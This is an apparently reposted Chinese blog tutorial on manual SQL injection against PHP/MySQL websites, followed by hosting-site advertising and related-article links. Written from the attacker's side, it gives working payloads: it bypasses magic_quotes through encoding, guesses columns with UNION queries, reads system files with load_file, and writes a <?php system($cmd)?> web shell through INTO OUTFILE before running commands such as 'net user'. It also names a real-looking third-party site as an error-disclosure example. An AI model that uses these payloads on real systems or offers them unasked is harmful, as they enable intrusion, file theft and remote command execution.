PHP注入基础

本文涉及的产品
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用版 2核4GB 50GB
简介:
PHP注入不象ASP那样有NBSI之类的超强工具,其实知道他的注入原理后,完全可以实现手工注入。 

在php.ini中有一个配置选项magic_quotes_gpc=on/off当=ON时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用ASC或0X进行编码旧可以饶过了。有几个比较关键的语句,一是UNION,通过并运算查询当前表中字段,用与将多个SELECT语句的结果联合到一个结果集中,可以用它猜字段,EG:id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,当然会出现文件读不出来的问题,原因很多主要是权限问题,还有文件是否可读,MYSQL用户是否具有FILE权限,还有就是些代码处理问题了用相关函数或者查原代码就可以了。EG:load_file('c:/boot.ini'),可以嵌入到UNION查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量<?phpsystem($cmd)?>,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php'(以前看过这个列子,记得最清楚了,嘿嘿~~),接着我们去看 [url]http://www.xxx.com/down/muma.php?cmd=net user[/url] ,就可以执行命令了,注意的是MYSQL5。0以下不支持AND连接两个表查询。 得到WEBSHELL还可以找一个可写的目录插入数据然后再导出到相应文件(如下),...很多方法。 
CREATE TABLE file (cmd text NOT NULL) 
INSERT INTO file (cmd) VALUES () 
select cmd from file into outfile filepath 
DROP TABLE IF EXISTS file 
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交: [url]http://www.shyau.com.tw/article.php?sid=140[/url] ',结果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230 

Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230路径都出来了,晕。 

有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=11111....(边界检查不彻底)或id=ssss(第一次见还是在X挡案看无敌的文章,原来这也可以啊)也有可能暴出敏感信息。 

mysql也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询PHP中文手册。~~














本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8585,如需转载请自行联系原作者



相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
13天前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
2月前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
9月前
|
SQL 安全 PHP
理解php对象注入
php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。
|
9月前
|
SQL 安全 PHP
PHP 什么是SQL注入,如何防止SQL注入,不防止会怎样(SQL注入详解)
PHP 什么是SQL注入,如何防止SQL注入,不防止会怎样(SQL注入详解)
194 0
|
12月前
|
SQL 安全 JavaScript
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
167 0
|
SQL 监控 关系型数据库
PHP审计-SQL注入技巧
PHP审计-SQL注入技巧
|
SQL JavaScript 安全
php操作mysql防止sql注入(合集)
php操作mysql防止sql注入(合集)
340 0
|
PHP
跟我一起学PHP从基础开始(一)
跟我一起学PHP从基础开始(一)
85 0
|
SQL PHP 数据库
php如何预防sql注入
php如何预防sql注入
113 0
php如何预防sql注入
|
Web App开发 关系型数据库 PHP